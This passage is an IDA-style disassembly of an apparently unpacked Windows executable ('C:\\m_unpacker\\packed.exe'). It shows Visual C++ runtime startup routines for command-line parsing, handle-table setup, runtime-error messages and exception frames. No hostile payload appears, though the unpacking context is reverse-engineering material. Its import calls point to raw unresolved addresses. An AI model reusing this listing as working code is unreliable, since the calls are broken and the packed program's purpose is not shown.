[ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2670000h nop mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2630AEAh mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2630D3Fh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2630AEAh mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2630DCDh mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28A0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2630000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 26307ECh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2630000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 26309E8h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26307ECh push eax nop call near ptr 26F0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2620BDAh loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2620BDAh loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 262078Dh test eax, eax jnz short loc_42391D nop call near ptr 2680925h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- 